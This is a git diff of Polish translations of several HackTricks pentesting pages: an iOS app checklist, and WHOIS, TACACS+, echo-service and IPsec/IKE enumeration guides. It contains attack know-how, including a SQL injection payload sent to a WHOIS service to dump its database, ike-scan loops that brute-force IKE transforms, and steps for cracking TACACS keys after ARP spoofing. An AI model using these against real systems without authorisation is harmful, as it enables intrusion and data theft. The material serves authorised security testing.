* [ ] [**Bazy danych Realm**](ios-pentesting/#realm-databases) mogą przechowywać poufne informacje.
|
||||
* [ ] [**Bazy danych Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) mogą przechowywać poufne informacje.
|
||||
* [ ] [**Pliki cookies binarne**](ios-pentesting/#cookies) mogą przechowywać poufne informacje.
|
||||
|
@ -52,8 +52,8 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
### Klawiatury
|
||||
|
||||
* [ ] Czy aplikacja [**pozwala na korzystanie z niestandardowych klawiatur**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] Sprawdź, czy w [**plikach pamięci podręcznej klawiatur**](ios-pentesting/#custom-keyboards-keyboard-cache) zapisane są wrażliwe informacje
|
||||
* [ ] Czy aplikacja **pozwala na korzystanie z niestandardowych klawiatur**?
|
||||
* [ ] Sprawdź, czy wrażliwe informacje są zapisywane w [**plikach pamięci podręcznej klawiatur**](ios-pentesting/#custom-keyboards-keyboard-cache)
|
||||
|
||||
### **Logi**
|
||||
|
||||
|
@ -62,22 +62,22 @@ Inne sposoby wsparcia HackTricks:
|
|||
### Kopie zapasowe
|
||||
|
||||
* [ ] [**Kopie zapasowe**](ios-pentesting/#backups) mogą być używane do **uzyskania dostępu do wrażliwych informacji** zapisanych w systemie plików (sprawdź początek tej listy kontrolnej)
|
||||
* [ ] Ponadto [**kopie zapasowe**](ios-pentesting/#backups) mogą być używane do **modyfikacji niektórych konfiguracji aplikacji**, a następnie **przywrócenia** kopii zapasowej na telefonie, a gdy **zmodyfikowana konfiguracja** jest **wczytywana**, pewne (bezpieczeństwo) **funkcje** mogą zostać **obejścia**
|
||||
* [ ] Ponadto, [**kopie zapasowe**](ios-pentesting/#backups) mogą być używane do **modyfikacji niektórych konfiguracji aplikacji**, a następnie **przywrócenia** kopii zapasowej na telefonie, a gdy **zmodyfikowana konfiguracja** jest **wczytywana**, pewne (bezpieczeństwo) **funkcje mogą zostać zignorowane**
|
||||
|
||||
### **Pamięć aplikacji**
|
||||
|
||||
* [ ] Sprawdź, czy w [**pamięci aplikacji**](ios-pentesting/#testing-memory-for-sensitive-data) znajdują się wrażliwe informacje
|
||||
* [ ] Sprawdź, czy w **pamięci aplikacji** nie ma wrażliwych informacji (ios-pentesting/#testing-memory-for-sensitive-data)
|
||||
|
||||
### **Słabe szyfrowanie**
|
||||
### **Uszkodzona kryptografia**
|
||||
|
||||
* [ ] Sprawdź, czy można znaleźć [**hasła używane do szyfrowania**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] Sprawdź, czy można znaleźć [**hasła używane do kryptografii**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] Sprawdź, czy używane są [**przestarzałe/słabe algorytmy**](ios-pentesting/#broken-cryptography) do wysyłania/przechowywania wrażliwych danych
|
||||
* [ ] [**Podłącz i monitoruj funkcje kryptograficzne**](ios-pentesting/#broken-cryptography)
|
||||
|
||||
### **Lokalna autoryzacja**
|
||||
|
||||
* [ ] Jeśli aplikacja używa [**lokalnej autoryzacji**](ios-pentesting/#local-authentication), należy sprawdzić, jak działa autoryzacja.
|
||||
* [ ] Jeśli używa [**Frameworku Lokalnej Autoryzacji**](ios-pentesting/#local-authentication-framework), może być łatwo obejść
|
||||
* [ ] Jeśli używa [**Frameworku lokalnej autoryzacji**](ios-pentesting/#local-authentication-framework), może być łatwo obejść
|
||||
* [ ] Jeśli używa [**funkcji, która może być dynamicznie obejścia**](ios-pentesting/#local-authentication-using-keychain), można utworzyć niestandardowy skrypt frida
|
||||
|
||||
### Ujawnienie funkcjonalności wrażliwej poprzez IPC
|
||||
|
@ -86,15 +86,15 @@ Inne sposoby wsparcia HackTricks:
|
|||
* [ ] Sprawdź, czy aplikacja **rejestruje jakikolwiek protokół/schemat**
|
||||
* [ ] Sprawdź, czy aplikacja **rejestruje użycie** jakiegokolwiek protokołu/schematu
|
||||
* [ ] Sprawdź, czy aplikacja **oczekuje na otrzymanie jakiegokolwiek rodzaju wrażliwych informacji** z niestandardowego schematu, które mogą być **przechwycone** przez inną aplikację rejestrującą ten sam schemat
|
||||
* [ ] Sprawdź, czy aplikacja **nie sprawdza i nie oczyszcza** danych wprowadzanych przez użytkowników za pomocą niestandardowego schematu i czy można **wykorzystać jakąś podatność**
|
||||
* [ ] Sprawdź, czy aplikacja **ujawnia jakąkolwiek wrażliwą akcję**, która może być wywołana z dowolnego miejsca za pomocą niestandardowego schematu
|
||||
* [ ] Sprawdź, czy aplikacja **nie sprawdza i nie oczyszcza** danych wprowadzanych przez użytkowników za pomocą niestandardowego schematu, co może prowadzić do **wykorzystania podatności**
|
||||
* [ ] Sprawdź, czy aplikacja **ujawnia jakiekolwiek wrażliwe działanie**, które może być wywołane z dowolnego miejsca za pomocą niestandardowego schematu
|
||||
* [**Uniwersalne linki**](ios-pentesting/#universal-links)
|
||||
* [ ] Sprawdź, czy aplikacja **rejestruje jakikolwiek uniwersalny protokół/schemat**
|
||||
* [ ] Sprawdź plik `apple-app-site-association`
|
||||
* [ ] Sprawdź, czy aplikacja **nie sprawdza i nie oczyszcza** danych wprowadzanych przez użytkowników za pomocą niestandardowego schematu i czy można **wykorzystać jakąś podatność**
|
||||
* [ ] Sprawdź, czy aplikacja **ujawnia jakąkolwiek wrażliwą akcję**, która może być wywołana z dowolnego miejsca za pomocą niestandardowego schematu
|
||||
* [ ] Sprawdź, czy aplikacja **nie sprawdza i nie oczyszcza** danych wprowadzanych przez użytkowników za pomocą niestandardowego schematu, co może prowadzić do **wykorzystania podatności**
|
||||
* [ ] Sprawdź, czy aplikacja **ujawnia jakiekolwiek wrażliwe działanie**, które może być wywołane z dowolnego miejsca za pomocą niestandardowego schematu
|
||||
* [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] Sprawdź, czy aplikacja może odbierać UIActivities i czy można wykorzystać jakąś podatność za pomocą specjalnie przygotowanej aktywności
|
||||
* [ ] Sprawdź, czy aplikacja może odbierać UIActivities i czy można wykorzystać jakąkolwiek podatność za pomocą specjalnie przygotowanej aktywności
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] Sprawdź, czy aplikacja **kopiuję cokolwiek do ogólnego schowka**
|
||||
* [ ] Sprawdź, czy aplikacja **używa danych z ogólnego schowka do czegokolwiek**
|
||||
|
@ -119,7 +119,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -130,7 +130,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
@ -140,7 +140,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) do łatwego tworzenia i **automatyzacji workflowów** zasilanych przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować workflowy** zasilane przez najbardziej zaawansowane narzędzia społeczności na świecie.\
|
||||
Zdobądź dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -14,7 +14,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
# Podstawowe informacje
|
||||
|
||||
Protokół **WHOIS** służy jako standardowa metoda **pytania o zarejestrowanych lub posiadaczy różnych zasobów internetowych** poprzez określone bazy danych. Te zasoby obejmują nazwy domen, bloki adresów IP oraz autonomiczne systemy, między innymi. Ponadto, protokół znajduje zastosowanie w dostępie do szerszego spektrum informacji.
|
||||
Protokół **WHOIS** służy jako standardowa metoda **pytania o zarejestrowanych lub posiadaczy różnych zasobów internetowych** poprzez określone bazy danych. Te zasoby obejmują nazwy domen, bloki adresów IP oraz autonomiczne systemy, między innymi. Poza tym, protokół znajduje zastosowanie w dostępie do szerszego spektrum informacji.
|
||||
|
||||
**Domyślny port:** 43
|
||||
```
|
||||
|
@ -31,7 +31,7 @@ PORT STATE SERVICE
|
|||
```
|
||||
# Wylicz
|
||||
|
||||
Pobierz wszystkie informacje, jakie usługa whois ma na temat domeny:
|
||||
Uzyskaj wszystkie informacje, jakie usługa whois ma na temat domeny:
|
||||
```bash
|
||||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
|
@ -40,7 +40,7 @@ Zauważ, że czasami podczas żądania informacji do usługi WHOIS w odpowiedzi
|
|||
|
||||
![](<../.gitbook/assets/image (147).png>)
|
||||
|
||||
Usługa WHOIS zawsze musi korzystać z **bazy danych**, aby przechowywać i pobierać informacje. Dlatego możliwe jest wystąpienie **SQLInjection** podczas **zapytywania** bazy danych o informacje podane przez użytkownika. Na przykład wykonując: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` możesz **wydobyć** wszystkie **informacje** zapisane w bazie danych.
|
||||
Usługa WHOIS zawsze musi korzystać z **bazy danych** do przechowywania i pobierania informacji. Dlatego możliwe jest wystąpienie **SQLInjection** podczas **zapytywania** bazy danych o informacje podane przez użytkownika. Na przykład wykonując: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` możesz **wydobyć** wszystkie **informacje** zapisane w bazie danych.
|
||||
|
||||
# Shodan
|
||||
|
||||
|
@ -48,7 +48,7 @@ Usługa WHOIS zawsze musi korzystać z **bazy danych**, aby przechowywać i pobi
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -78,10 +78,10 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -37,7 +37,7 @@ Jeśli komunikacja między klientem a serwerem TACACS jest przechwycona przez at
|
|||
|
||||
### Przeprowadzenie ataku typu MitM
|
||||
|
||||
Atak **ARP spoofing może być wykorzystany do przeprowadzenia ataku typu Man-in-the-Middle (MitM)**.
|
||||
Atak **ARP spoofing** może być wykorzystany do przeprowadzenia ataku typu Man-in-the-Middle (MitM).
|
||||
|
||||
### Atak siłowy na klucz
|
||||
|
||||
|
@ -47,10 +47,10 @@ sudo loki_gtk.py
|
|||
```
|
||||
Jeśli klucz zostanie pomyślnie **przełamany metodą brutalnej siły** (**zazwyczaj w formacie zaszyfrowanym MD5)**, **możemy uzyskać dostęp do sprzętu i odszyfrować zaszyfrowany ruch TACACS**.
|
||||
|
||||
### Odszyfrowywanie Ruchu
|
||||
### Odszyfrowywanie ruchu
|
||||
Po pomyślnym złamaniu klucza, następnym krokiem jest **odszyfrowanie zaszyfrowanego ruchu TACACS**. Wireshark może obsłużyć zaszyfrowany ruch TACACS, jeśli podany jest klucz. Analizując odszyfrowany ruch, można uzyskać informacje takie jak **używany baner i nazwa użytkownika administratora**.
|
||||
|
||||
Zyskując dostęp do panelu sterowania sprzętem sieciowym za pomocą uzyskanych danych uwierzytelniających, atakujący może przejąć kontrolę nad siecią. Ważne jest zauważenie, że te działania są wyłącznie w celach edukacyjnych i nie powinny być stosowane bez odpowiedniej autoryzacji.
|
||||
Zyskując dostęp do panelu sterowania sprzętu sieciowego za pomocą uzyskanych danych uwierzytelniających, atakujący może przejąć kontrolę nad siecią. Ważne jest zauważenie, że te działania są wyłącznie w celach edukacyjnych i nie powinny być stosowane bez odpowiedniej autoryzacji.
|
||||
|
||||
## Referencje
|
||||
|
||||
|
@ -58,7 +58,7 @@ Zyskując dostęp do panelu sterowania sprzętem sieciowym za pomocą uzyskanych
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -14,7 +14,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -23,8 +23,8 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
# Podstawowe informacje
|
||||
|
||||
Na tym hoście działa usługa echo. Usługa echo była przeznaczona do celów testowych i pomiarowych i może nasłuchiwać zarówno na protokołach TCP, jak i UDP. Serwer odsyła wszystkie otrzymane dane bez modyfikacji.\
|
||||
**Możliwe jest spowodowanie odmowy usługi, łącząc usługę echo z usługą echo na tym samym lub innym urządzeniu**. Ze względu na nadmierną liczbę pakietów generowanych, dotknięte maszyny mogą zostać skutecznie wyłączone z użytku.\
|
||||
Na tym hoście działa usługa echo. Usługa echo była przeznaczona do testowania i pomiaru i może nasłuchiwać zarówno na protokołach TCP, jak i UDP. Serwer odsyła wszystkie otrzymane dane bez modyfikacji.\
|
||||
**Możliwe jest spowodowanie odmowy usługi, łącząc usługę echo z usługą echo na tym samym lub innym urządzeniu**. Ze względu na nadmierną liczbę pakietów wygenerowanych, dotknięte maszyny mogą zostać efektywnie wyłączone z użytku.\
|
||||
Informacje z [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**Domyślny port:** 7/tcp/udp
|
||||
|
@ -52,7 +52,7 @@ Hello echo #This is the response
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,15 +24,14 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
**IPsec** jest powszechnie uznawany za główną technologię zabezpieczającą komunikację między sieciami (LAN-to-LAN) oraz między zdalnymi użytkownikami a bramą sieciową (dostęp zdalny), stanowiąc podstawę dla rozwiązań VPN dla przedsiębiorstw.
|
||||
**IPsec** jest powszechnie uznawany za główną technologię zabezpieczającą komunikację między sieciami (LAN-to-LAN) oraz od użytkowników zdalnych do bramy sieciowej (dostęp zdalny), stanowiąc podstawę dla rozwiązań VPN dla przedsiębiorstw.
|
||||
|
||||
Ustanowienie **stowarzyszenia bezpieczeństwa (SA)** między dwoma punktami jest zarządzane przez **IKE**, który działa w ramach protokołu ISAKMP, zaprojektowanego do uwierzytelniania i wymiany kluczy. Ten proces przebiega w kilku fazach:
|
||||
Ustanowienie **stowarzyszenia bezpieczeństwa (SA)** między dwoma punktami jest zarządzane przez **IKE**, który działa w ramach ISAKMP, protokołu zaprojektowanego do uwierzytelniania i wymiany kluczy. Ten proces przebiega w kilku fazach:
|
||||
|
||||
- **Faza 1:** Tworzony jest bezpieczny kanał między dwoma punktami. Osiąga się to za pomocą klucza wstępnego (PSK) lub certyfikatów, przy użyciu trybu głównego, który obejmuje trzy pary komunikatów, lub **trybu agresywnego**.
|
||||
- **Faza 1.5:** Choć nie jest obowiązkowa, ta faza, znana jako Faza Rozszerzonej Autoryzacji, weryfikuje tożsamość użytkownika próbującego połączyć się, wymagając nazwy użytkownika i hasła.
|
||||
- **Faza 2:** Ta faza jest poświęcona negocjacji parametrów zabezpieczających dane za pomocą **ESP** i **AH**. Pozwala to na użycie algorytmów różnych od tych w Fazie 1, aby zapewnić **Doskonałe Przekazywanie Tajemnic (PFS)**, zwiększając bezpieczeństwo.
|
||||
|
||||
|
||||
**Domyślny port:** 500/udp
|
||||
|
||||
## **Odkryj** usługę za pomocą nmap
|
||||
|
@ -45,11 +44,11 @@ PORT STATE SERVICE
|
|||
500/udp open isakmp
|
||||
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||
```
|
||||
## **Znalezienie prawidłowej transformacji**
|
||||
## **Znajdowanie prawidłowej transformacji**
|
||||
|
||||
Konfiguracja IPSec może być przygotowana tylko do akceptacji jednej lub kilku transformacji. Transformacja to kombinacja wartości. **Każda transformacja** zawiera szereg atrybutów, takich jak DES lub 3DES jako **algorytm szyfrowania**, SHA lub MD5 jako **algorytm integralności**, klucz wstępnie uzgodniony jako **typ uwierzytelnienia**, Diffie-Hellman 1 lub 2 jako algorytm **dystrybucji klucza** oraz 28800 sekund jako **czas życia**.
|
||||
|
||||
Następnie pierwszą rzeczą, którą musisz zrobić, to **znaleźć prawidłową transformację**, aby serwer mógł z tobą rozmawiać. Aby to zrobić, możesz skorzystać z narzędzia **ike-scan**. Domyślnie Ike-scan działa w trybie głównym i wysyła pakiet do bramy z nagłówkiem ISAKMP i pojedynczą propozycją z **osiemnastoma transformacjami wewnątrz**.
|
||||
Następnie pierwszą rzeczą, którą musisz zrobić, to **znaleźć prawidłową transformację**, aby serwer zaczął z tobą rozmawiać. Aby to zrobić, możesz skorzystać z narzędzia **ike-scan**. Domyślnie Ike-scan działa w trybie głównym i wysyła pakiet do bramy z nagłówkiem ISAKMP i pojedynczą propozycją z **osiemnastoma transformacjami wewnątrz**.
|
||||
|
||||
W zależności od odpowiedzi możesz uzyskać pewne informacje na temat punktu końcowego:
|
||||
```
|
||||
|
@ -69,7 +68,7 @@ Jak widać w poprzedniej odpowiedzi, istnieje pole o nazwie **AUTH** z wartości
|
|||
* _**1 zwrócony handshake; 0 zwrócone powiadomienie:**_ Oznacza to, że **cel jest skonfigurowany do IPsec i jest gotowy do przeprowadzenia negocjacji IKE, a jedna lub więcej proponowanych transformacji jest akceptowalna** (poprawna transformacja zostanie pokazana w wyniku).
|
||||
* _0 zwrócony handshake; 1 zwrócone powiadomienie:_ Bramy VPN odpowiadają powiadomieniem, gdy **żadna z transformacji nie jest akceptowalna** (choć niektóre bramy tego nie robią, w takim przypadku należy przeprowadzić dalszą analizę i spróbować zrewidować propozycję).
|
||||
|
||||
W takim przypadku mamy już poprawną transformację, ale jeśli znajdujesz się w 3. przypadku, musisz **nieco przeprowadzić atak brute-force, aby znaleźć poprawną transformację:**
|
||||
W tym przypadku mamy już poprawną transformację, ale jeśli znajdziesz się w 3. przypadku, będziesz musiał **nieco przeprowadzić atak siłowy, aby znaleźć poprawną transformację:**
|
||||
|
||||
Po pierwsze, musisz utworzyć wszystkie możliwe transformacje:
|
||||
```bash
|
||||
|
@ -79,7 +78,7 @@ I następnie przeprowadź atak siłowy na każde z nich, używając ike-scan (mo
|
|||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
Jeśli atak brutalnej siły nie zadziałał, być może serwer odpowiada bez ustanawiania połączenia nawet dla poprawnych transformacji. W takim przypadku można spróbować tego samego ataku brutalnej siły, ale w trybie agresywnym:
|
||||
Jeśli atak brutalnej siły nie zadziałał, być może serwer odpowiada bez użycia negocjacji nawet na poprawne transformacje. W takim przypadku można spróbować tego samego ataku brutalnej siły, ale w trybie agresywnym:
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
|
@ -91,18 +90,18 @@ Możesz także spróbować siłowo przeprowadzić transformacje za pomocą [**ik
|
|||
```
|
||||
![](<../.gitbook/assets/image (109).png>)
|
||||
|
||||
W **Grupie DH: 14 = 2048-bit MODP** i **15 = 3072-bit**\
|
||||
W **Grupa DH: 14 = 2048-bit MODP** i **15 = 3072-bit**\
|
||||
**2 = HMAC-SHA = SHA1 (w tym przypadku). Format `--trans` to $Enc,$Hash,$Auth,$DH**
|
||||
|
||||
Cisco zaleca unikanie korzystania z grup DH 1 i 2, ponieważ nie są wystarczająco silne. Specjaliści uważają, że **kraje posiadające duże zasoby mogą łatwo złamać** szyfrowanie danych korzystających z tych słabych grup. Dokonuje się tego za pomocą specjalnej metody, która przygotowuje je do szybkiego złamania kodów. Chociaż kosztuje dużo pieniędzy, aby skonfigurować tę metodę, pozwala to tym potężnym krajom czytać zaszyfrowane dane w czasie rzeczywistym, jeśli korzystają z grupy, która nie jest wystarczająco silna (np. 1,024-bitowa lub mniejsza).
|
||||
Cisco zaleca unikanie korzystania z grup DH 1 i 2, ponieważ nie są wystarczająco silne. Specjaliści uważają, że **kraje posiadające duże zasoby mogą łatwo złamać** szyfrowanie danych korzystających z tych słabych grup. Dokonuje się tego za pomocą specjalnej metody, która przygotowuje je do szybkiego łamania kodów. Chociaż kosztuje dużo pieniędzy, aby skonfigurować tę metodę, pozwala to tym potężnym krajom czytać zaszyfrowane dane w czasie rzeczywistym, jeśli korzystają z grupy, która nie jest wystarczająco silna (jak 1,024-bitowa lub mniejsza).
|
||||
|
||||
### Identyfikacja serwera
|
||||
|
||||
Następnie można użyć ike-scan, aby spróbować **odkryć producenta** urządzenia. Narzędzie wysyła początkową propozycję i przestaje odtwarzać. Następnie **analizuje** różnicę **czasu** między otrzymanymi **wiadomościami** od serwera a pasującym wzorcem odpowiedzi, co pozwala pentesterowi z powodzeniem zidentyfikować producenta bramy VPN. Ponadto niektóre serwery VPN będą korzystać z opcjonalnego **ładunku ID producenta (VID)** z IKE.
|
||||
|
||||
**Określ prawidłową transformację, jeśli jest to konieczne** (korzystając z --trans)
|
||||
**Określ prawidłową transformację, jeśli jest to konieczne** (używając --trans)
|
||||
|
||||
Jeśli IKE odkryje, jaki jest producent, wypisze go:
|
||||
Jeśli IKE odkryje, jaki jest producent, wydrukuje to:
|
||||
```
|
||||
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
|
||||
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
||||
|
@ -124,34 +123,34 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
|
|||
```
|
||||
To można również osiągnąć za pomocą skryptu nmap _**ike-version**_
|
||||
|
||||
## Znajdowanie poprawnego ID (nazwy grupy)
|
||||
## Znalezienie poprawnego ID (nazwy grupy)
|
||||
|
||||
Aby móc przechwycić skrót, potrzebujesz poprawnej transformacji obsługującej tryb Aggressive oraz poprawne ID (nazwę grupy). Prawdopodobnie nie będziesz znać poprawnej nazwy grupy, dlatego będziesz musiał ją przełamać.\
|
||||
Aby to zrobić, polecam ci 2 metody:
|
||||
